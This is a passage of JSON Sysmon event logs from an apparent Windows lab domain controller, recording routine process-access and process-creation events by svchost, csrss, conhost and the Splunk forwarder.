C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.809","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3643,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.809\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.809","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3644,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.809\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010BFF70400}\r\nTargetProcessId: 4564\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.809","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010BFF70400}","TargetProcessId":"4564","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3645,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.920\r\nProcessGuid: {90617006-407E-5F2D-0000-00102F4E0500}\r\nProcessId: 4796\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinEventLog.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.920","ProcessGuid":"{90617006-407E-5F2D-0000-00102F4E0500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinEventLog.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3646,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.918\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-00102F4E0500}\r\nTargetProcessId: 4796\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.918","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-00102F4E0500}","TargetProcessId":"4796","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3647,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.918\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-00102F4E0500}\r\nTargetProcessId: 4796\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.918","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-00102F4E0500}","TargetProcessId":"4796","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3648,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.918\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.918","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3649,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.918\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.918","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3650,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.918\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.918","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 